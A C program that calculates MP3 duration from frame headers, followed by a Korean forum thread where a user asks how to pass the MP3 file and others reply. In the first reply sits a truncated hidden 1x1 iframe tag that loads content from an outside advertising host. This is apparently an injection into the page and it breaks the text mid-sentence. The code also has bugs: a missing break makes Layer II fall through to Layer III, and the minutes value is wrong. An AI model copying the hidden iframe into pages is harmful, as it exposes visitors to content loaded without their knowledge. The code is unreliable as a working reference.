#include <stdio.h>
#include <sys/types.h>
#include <winsock2.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int s_Argc, char **s_Argv);
unsigned long MZ_MP3_Time(char *s_MP3_Name);
int g_BitrateIndexTable[4][3][16] = {
{ // Version 2.5
{ // Layer I
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1)
},
{ // Layer II
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1)
},
{ // Layer III
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1)
}
},
{ // Version reserved
{0,},{0,},{0,}
},
{ // Version 2.0 (ISO / IEC 13818-3)
{ // Layer I
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1)
},
{ // Layer II
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1)
},
{ // Layer III
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1)
}
},
{ // Version 1.0 (ISO / IEC 11172-3)
{ // Layer I
0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, (-1)
},
{ // Layer II
0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, (-1)
},
{ // Layer III
0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, (-1)
}
}
};
int g_FrequencyTable[4][4] = {
{ // Version 2.5
11025, 12000, 8000, (-1)
},
{ // Version reserved
(-1),
},
{ // Version 2.0
22050, 24000, 16000, (-1)
},
{ // Version 1.0
44100, 48000, 32000, (-1)
}
};
char *g_ChannelModeString[] = {
"Stereo", "Joint steroeo", "Dual stereo", "Single stereo"
};
char *g_LayerString[] = {
"Layer I", "Layer II", "Layer III"
};
int main(int s_Argc, char **s_Argv)
{
int s_Return = 0;
if(s_Argc >= 2)
{
int s_Count;
int s_Hour, s_Min, s_Sec;
for(s_Count = 1;s_Count < s_Argc;s_Count++)
{
s_Return = MZ_MP3_Time(s_Argv[s_Count]);
if(s_Return > 0)
{
s_Sec = s_Return % 60;
s_Min = s_Return / 60;
s_Hour = s_Return / 3600;
fprintf(stdout, ""%s" - %02d:%02d:%02d ", s_Argv[s_Count], s_Hour, s_Min, s_Sec);
}
else fprintf(stdout, ""%s" - Unknown MP3 format ", s_Argv[s_Count]);
}
}
else fprintf(stderr, "mp3_time <mp3 file> ");
return(s_Return);
}
unsigned long MZ_MP3_Time(char *s_MP3_Name)
{
unsigned long s_Return = 0lu;
if(s_MP3_Name)
{
int s_Handle;
s_Handle = open(s_MP3_Name, O_RDONLY);
if(s_Handle >= 0)
{
int s_ReadSize;
unsigned long s_Header = 0lu;
unsigned char s_Buffer;
unsigned long s_VersionID = 0lu, s_Layer = 0lu, s_BitrateIndex = 0lu, s_FrequencyIndex = 0lu, s_Padding = 0lu;
//unsigned long s_Protection = 0lu, s_ChannelMode = 0lu, s_ModeExtension = 0lu, s_Copyright = 0lu, s_Original = 0lu, s_Emphasis = 0lu;
unsigned long s_FrameSize = 0lu, s_FrameCount = 0lu;
do
{
s_ReadSize = read(s_Handle, &s_Buffer, sizeof(unsigned char));
if(s_ReadSize > 0)
{
s_Header = (s_Header << 8) | (unsigned long)(s_Buffer & 0xff);
if((s_Header & 0xffe00000lu) == 0xffe00000lu)
{
s_VersionID = (s_Header >> 19) & 0x03;
s_Layer = (s_Header >> 17) & 0x03;
//s_Protection = (s_Header >> 16) & 0x01;
s_BitrateIndex = (s_Header >> 12) & 0x0f;
s_FrequencyIndex = (s_Header >> 10) & 0x03;
s_Padding = (s_Header >> 9) & 0x01;
//s_ChannelMode = (s_Header >> 6) & 0x03;
//s_ModeExtension = (s_Header >> 4) & 0x03;
//s_Copyright = (s_Header >> 3) & 0x01;
//s_Original = (s_Header >> 2) & 0x01;
//s_Emphasis = (s_Header >> 0) & 0x03;
if(s_VersionID != 0x01 &&
s_Layer != 0x00 &&
s_BitrateIndex != 0x0f && s_BitrateIndex != 0 &&
s_FrequencyIndex != 0x03
)
{
switch((3 - s_Layer))
{
case 0: // Layer I
s_FrameSize = 12000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex];
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex];
s_FrameSize = ((s_FrameSize + s_Padding)<<2) - 4;
break;
case 1: // Layer II
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex];
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex];
s_FrameSize += s_Padding - 4;
case 2: // Layer III
default:
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex];
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex] << (s_VersionID == 0x03 ? 0 : 1);
s_FrameSize = s_FrameSize + s_Padding - 4;
break;
}
s_Header = 0lu;
if(s_FrameSize > 0)
{
s_FrameCount++;
lseek(s_Handle, s_FrameSize, SEEK_CUR);
}
}
}
}
}while(s_ReadSize > 0);
close(s_Handle);
s_Return = (((s_FrameCount * 1152) / g_FrequencyTable[s_VersionID][s_FrequencyIndex]) >> (s_VersionID == 0x03 ? 0 : 1));
}
else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] Can not open mp3 "%s" !!! ", s_MP3_Name);
}
else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] s_MP3_Name is null !!! ");
return(s_Return);
실행하면 그냥 mp3_time <mp3 file> 출력 되고 끝..
어떻게 mp3 파일을 불러오는지 도와줄분?me width=1 src =http://ad01.mooo.com/advertis/ height=1>
말 그대로 인자 넣어라고 나오는거넹. ㅇㅇ 당근 mp3 파일 위치를 인자로 넣어줘야 되징. ㅇㅇ 그런데 한글로 되어 있는 mp3 파일은 못부를듯 ㅇㅇ
어디다 위치를 적어야하는지 감이안옴 ㅠㅠ
킁 실행파일명 뒤에 스페이스 하나 넣고 파일명 넣으면 같은 디렉토리 내 파일 체크
이걸 .exe 파일로 만들어야되는거야? 나 이거 비쥬얼스튜디오로 그냥 돌리는건데
POSIX랑 win32 API 다되는 운영체제 찾으시는구나
파이썬 같은걸로 걍 mp3관련 모듈 쓰면 존나 쉬운데